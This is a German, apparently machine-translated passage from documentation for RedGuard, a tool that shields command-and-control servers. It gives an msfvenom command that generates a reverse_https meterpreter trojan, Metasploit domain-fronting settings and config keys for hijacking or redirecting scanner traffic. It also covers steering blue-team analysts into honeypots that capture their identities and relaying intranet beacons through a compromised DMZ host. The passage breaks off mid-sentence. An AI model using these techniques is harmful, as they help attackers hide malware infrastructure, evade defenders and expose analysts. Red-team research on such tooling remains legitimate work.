{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }Und da unsere grundlegende Überprüfung auf dem HTTP-HOST-Anforderungsheader basiert, ist das, was wir im HTTP-Verkehr sehen, auch dasselbe wie bei der Domain-Fronting-Methode, aber die Kosten sind geringer und es wird nur ein Cloud-Server benötigt.
Für die Listener-Einstellungen ist der HTTPS Port (C2) auf den RedGuard-Reverse-Proxy-Port eingestellt und der HTTPS Port (Bind) ist der tatsächliche Verbindungsport des lokalen Rechners.
Erzeugt einen Trojaner
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exeNatürlich können Sie als Domänen-Fronting-Szenario Ihren LHOST auch so konfigurieren, dass er einen beliebigen Domänennamen des CDN des Herstellers verwendet, und achten Sie darauf, den HttpHostHeader so einzustellen, dass er mit RedGuard übereinstimmt.
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true Es ist wichtig zu beachten, dass die OverrideRequestHost -Einstellung auf true gesetzt sein muss. Dies liegt an einer Funktion in der Art und Weise, wie Metasploit eingehende HTTP/S-Anfragen standardmäßig verarbeitet, wenn Konfigurationen für Staging-Nutzlasten generiert werden. Standardmäßig verwendet Metasploit den Host Header-Wert der eingehenden Anfrage (falls vorhanden) für die Konfiguration der zweiten Stufe anstelle des LHOST Parameters. Daher ist die Build-Phase so konfiguriert, dass Anfragen direkt an Ihren versteckten Domänennamen gesendet werden, da CloudFront Ihre interne Domäne im Host Header weitergeleiteter Anfragen übergibt. Das ist eindeutig nicht das, was wir fordern. Mithilfe des OverrideRequestHost -Konfigurationswerts können wir Metasploit zwingen, den eingehenden Host Header zu ignorieren und stattdessen den LHOST Konfigurationswert zu verwenden, der auf die CloudFront-Ursprungsdomäne verweist.
Der Listener wird auf den tatsächlichen Leitungsport eingestellt, der mit der Adresse übereinstimmt, an die RedGuard tatsächlich weiterleitet.
RedGuard hat die Anfrage erhalten:
Wie in der Abbildung unten gezeigt, prüft die Sonde des räumlichen Zuordnungssystems das /-Verzeichnis unseres Reverse-Proxy-Ports mehrmals, wenn unsere Abfangregel auf DROP eingestellt ist. Theoretisch wird das vom Mapping gesendete Anforderungspaket wie gezeigt als normaler Datenverkehr vorgetäuscht. Da die Signatur des Anforderungspakets jedoch nach mehreren Versuchen nicht den Release-Anforderungen von RedGuard entspricht, wird auf alle mit Close HTTP geantwortet. Der letzte auf der Vermessungs- und Kartierungsplattform angezeigte Effekt besteht darin, dass der Reverse-Proxy-Port nicht geöffnet ist.
Der in der folgenden Abbildung dargestellte Datenverkehr bedeutet, dass wir bei Einstellung der Abfangregel auf „Umleiten“ feststellen werden, dass der Mapping-Probe unser Verzeichnis weiterhin durchsucht, wenn er eine Antwort erhält. User-Agent ist zufällig, was mit normalen Verkehrsanfragen übereinzustimmen scheint, aber beide wurden erfolgreich blockiert.
Mapping Platform – Hijack Response Intercept Mode-Effekt:
Vermessungs- und Kartierungsplattform – Auswirkung der Umleitungsüberwachung:
RedGuard unterstützt Domain-Fronting. Meiner Meinung nach gibt es zwei Formen der Präsentation. Eine besteht darin, die traditionelle Domain-Fronting-Methode zu verwenden, die durch Festlegen des Ports unseres Reverse-Proxys in der standortweiten Beschleunigungs-Back-to-Origin-Adresse erreicht werden kann. Auf der ursprünglichen Basis wird die Funktion der Verkehrskontrolle in die Domain -Fronting hinzugefügt und kann gemäß der Einstellung, die wir festlegen, in die angegebene URL umgeleitet werden, damit sie realer aussehen. Es ist zu beachten, dass die Redguard-Einstellung des HTTPS-Host-Headers mit dem Domainnamen der ortsweiten Beschleunigung übereinstimmt.
Im Einzelkampf schlage ich vor, dass die obige Methode verwendet werden kann, und bei Teamaufgaben kann sie auch durch selbstgebaute "Domain Fronting" erreicht werden.
Halten Sie in der selbstgebauten Domain-Fronting mehrere Reverse-Proxy-Ports konsistent, und der Host-Header zeigt konsequent auf den realen C2-Server-Höranschluss des Backends. Auf diese Weise kann unser realer C2 -Server gut versteckt sein, und der Server des Reverse -Proxy kann den Proxy -Port nur durch Konfiguration der Firewall öffnen.
Dies kann über mehrere Knotenserver erreicht werden und konfigurieren mehrere IPs unserer Knoten im CS -Listener HTTPS Online IP.
Das Prinzip des böswilligen Honeypot -Einfangens beruht hauptsächlich auf der Entführungsreaktion oder der Umleitungsfunktion der RG -Verkehrsanleitung, die Analysten führt, die C2 -Einrichtungen an die Adresse des Honeypot -Sandkasten bewerten. Im Antwortstatus von Hijacking wird RG den Verkehr direkt anfordern, der die Eingangsregeln nicht für die Honeypot -Vermögenswerte entspricht. Bei der Begegnung mit mehr leistungsstärkeren Honeypots (z.
Stellen Sie sich vor, Analysten werden bei direktem Zugriff auf den C2 Online -Port zum Honeypot -Asset gerichtet, was den Analysten zweifellos zu einer Störung führt. Die Analysten sind böswillig angewiesen, den Honeypot -Asset anzufordern, und das Ende der Honeypot -Überwachung erfasst die relevanten Informationen der Blue -Team -Analysten und verfolgt den Fehler. Wenn das Analyseziel von Anfang an falsch ist, wie können Sie ein gutes Ergebnis erzielen? Dies wird zweifellos eine ernsthafte interne Reibung für das Verteidigungsteam verursachen.
Hier ist eine Reihe von Zoomeye -Fingerabdrücken, die mit Honeypot -Assets assoziiert sind:
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
Der Weg zur Erreichung dieses Effekts ist sehr einfach. Sie müssen nur die entsprechenden Schlüsselwerte in der RG -Konfigurationsdatei ändern.
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.comPS Ich glaube, jeder weiß, wie man es ohne Erklärung konfigurieren :)
Diese Methode ist eine Art listiger Trick, der sich stärker in der Idee widerspiegelt. Wenn es weiter genutzt wird, kann die Honeypot-Erfassungsfunktion in der C2 Front-End-Verkehrskontrollanlage eingesetzt werden und dann kann der interaktive Verkehr gerichtet werden. Der Effekt ist, dass die Browser -Cache -Daten des Kunden wie ein herkömmlicher Honeypot erhalten werden können. Ich persönlich bin jedoch der Meinung, dass es in der öffentlichen Version möglicherweise nicht sinnvoll ist, sie auf die aktuelle Angriffs- und Verteidigungskonfrontation anzuwenden. Für den Angreifer ist es bedeutungslos, die sozialen Informationen des Blue Team -Analysten zu erfassen und dann nachzuverfolgen. Natürlich kann dies die Analyse von C2 -Proben gefährlicher machen. Wenn der Angreifer der schwarzen und grauen Industrie die virtuelle Identität des Analysten erhalten kann, ist er immer noch relativ gefährlich, wenn die virtuellen und realen Identitäten konvertiert werden können. Ich denke also, dass zukünftige Forschung und Analyse vorsichtiger und wachsamer sein sollten.
Im Angriffs- und Verteidigungs-Konfrontationsszenario sind die meisten Einheitsnetzwerke nach wie vor eine Grenzverteidigung. Hier betrachten wir ein Szenario, in dem die externen Server im DMZ -Bereich häufig mit relevanten Zugangsrichtlinien in einer normalen Geschäftsumgebung konfiguriert werden. Zu diesem Zeitpunkt können die externen Server am Rande auf das Netzwerk zugreifen, aber nicht direkt auf den Intranet -Host zugreifen, der PC oder die zugehörigen Server im Intranet nicht direkt auf das öffentliche Netzwerk zugreifen, sondern auf die Geschäftsserver im DMZ -Bereich zugreifen können. Dann kann ich den Host des Edge -Knotens als RG -Knoten verwenden, um den Intranet -Online -Verkehr in unsere C2 -Einrichtungen zu übertragen. Klingt es dem herkömmlichen Proxy -Transfer online sehr ähnlich? Dies ist jedoch nur eine Form der Anzeige der Skill -Implementierung. Betrachten wir weiterhin weitere Tipps.
Wenn wir während des Verwaltungsprozesses einen Edge-Host abstellen, unter der Annahme, dass wir die Shell-Berechtigungen übernommen haben, werden wir RG auf diesem Server als unseren Front-End-Knoten bereitstellen (in den tatsächlichen Szenarien werden Konfigurationsdateien im Programm fest codiert. und sogar das trojanische Pferd und RG werden zu demselben Programm kombiniert) .
Die Konfigurationsdatei lautet wie folgt:
Für die spezifische Konfiguration konzentrieren wir uns hauptsächlich auf die Pfeile. Der obige Pfeil 1 ist der Name der Hostdomain für die Wechselwirkung zwischen dem Intranet -Host und dem Edge -Knoten . Es wird empfohlen, den relevanten Intranet -Domänennamen gemäß dem spezifischen Szenario der Zieleinheit festzulegen. Stellen Sie sich die Verkehrsinteraktion zwischen zwei Hosts im Intranet über den Intranet -Domain -Namen vor. Hat BT den Mut, den interaktiven Verkehr direkt abzuschneiden? Natürlich, wenn sie feststellen können, dass es sich um einen böswilligen interaktiven Verkehr handelt. Der Pfeil 2 verweist auf die Einstellung des herkömmlichen Domänenfrontends . Dieses Schlüsselwertpaar entspricht der Schlüssel dem Online-Host und der Wert entspricht der Proxy-Adresse. Hier können wir es mit demselben CDN -Hersteller auf jeden HTTPS -Domänennamen einstellen (CDN -Knoten -IP ist auch in Ordnung, denken Sie daran, HTTP (s): // Protokoll mitzubringen).
EdgeHost ist der Domänenname, der vom Domänenfrontend unseres Cloud -Dienstanbieters verwendet wird. Dies ist auch der Domänenname, der vom RG Edge -Knoten verwendet wird, wenn sie mit C2 über den CDN -Knoten interagieren. Ja, RG ändert den Host -Domänennamen der legitimen Anfrage und ändert ihn in den Cloud -Service -CDN -Domänennamen, der normal kommunizieren kann.
Edgetarget ist der Domänenname für die Intranet -Interaktion, der mit Pfeil übereinstimmen muss. 1. Nur von dem vom Host hier festgelegte Domänenname wird als legitim angesehen, und RG wird weiter an den Cloud -Service -CDN -Domain -Namen für nachfolgende geändert Kommunikation.
Hier fassen wir zusammen:
Das heißt, die Wechselwirkung zwischen dem Edge -Knoten und dem Host im Intranet erfolgt über den Namen der festgelegten Intranet -Domain. Whe
